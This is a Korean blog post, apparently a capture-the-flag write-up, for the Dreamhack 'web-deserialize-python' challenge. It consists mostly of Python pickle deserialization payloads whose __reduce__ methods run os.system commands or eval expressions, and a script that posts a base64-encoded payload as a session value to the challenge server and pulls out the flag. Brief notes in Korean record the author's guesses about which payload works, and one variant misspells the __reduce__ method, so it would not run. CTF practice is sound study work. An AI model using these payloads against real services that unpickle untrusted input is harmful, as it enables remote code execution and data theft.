호그와트

드림핵 web-deserialize python

영웅*^%&$ 2022. 1. 18. 09:50
728x90

import pickle

import os

import base64

class TestClass:

def __reduce__(self):

return os.system, ("read flag.txt", )

ClassA = TestClass()

# ClassA 직렬화

ClassA_dump = base64.b64encode(pickle.dumps(ClassA))

print(ClassA_dump)

# 역직렬화

print(pickle.loads(base64.b64decode(ClassA_dump)))

확실하지는 않지만 "read flag.txt" 쪽 내용을 잘 바꿔주면

원하는 flag를 얻을 수 있는 것으로 추정된다 근거는 다음의 2가지이다

1 web상에서도 된다 (rce가 필요 없다)

2 이 내용 자체가 핵심이 맞다

->이 두가지는 모두 타당한 추리였다

import os

import pickle

import base64

class Exploit:

def __reduce__(self):

return (os.system, ('echo FLAG', ))

payload = base64.b64encode(pickle.dumps(Exploit()))

print(payload)

3 변수는 FLAG이다

->이 내용도 역시 맞았다

결과적으로 보았을 때 중요한 건 데이터 형식을 얼마나 더

디테일하게 기입해주느냐 였다

import os

import pickle

import base64

class Exploit:

def __reduce__(self):

cmd = "base64.b64encode(pickle.dumps(FLAG))"

return (__builtins__.eval, (cmd,))

payload = base64.b64encode(pickle.dumps(Exploit()))

print(payload)

///////////////////////////////////////////////////////////////

import os, pickle

import base64

class data():

def _reduce_(self):

return (os.system, ('whoami', ))

a = pickle.dumps(data())

pickle.loads(a)

///////////////////////////////////FLAG///////////////////////////////

import pickle

import base64

class Vuln(object):

def __reduce__(self):

return (eval,('{\"name\" : FLAG,\"userid\" : FLAG,\"password\" : FLAG}',))

print(base64.b64encode(pickle.dumps(Vuln())))

위의 방식이 아니라면

import base64

import pickle

import requests

class bindon:

def __reduce__(self):

info = '{ "name": FLAG, "userid": FLAG, "password": FLAG }'

return (eval, (info, ))

def main():

data = { "session": base64.b64encode(pickle.dumps(bindon())) }

response = requests.post(url="http://host1.dreamhack.games:(포트번호)/check_session", data=data)

flag = response.text

flag = flag[flag.find("DH{"):]

flag = flag[:flag.find("}")+1]

print(f"{flag = }")

if __name__ == "__main__":

main()

이런 식으로도 FLAG를 얻을 수 있다

728x90

'호그와트' 카테고리의 다른 글

드림핵 tmitter  (0) 2022.01.18
드림핵 you shall pass  (0) 2022.01.18
드림핵 linux forest  (0) 2022.01.18
XSS와 CSRF의 차이점 (드림핵에서 누가 물어보길래)  (0) 2022.01.03
웹해킹 58번 문제  (0) 2021.12.25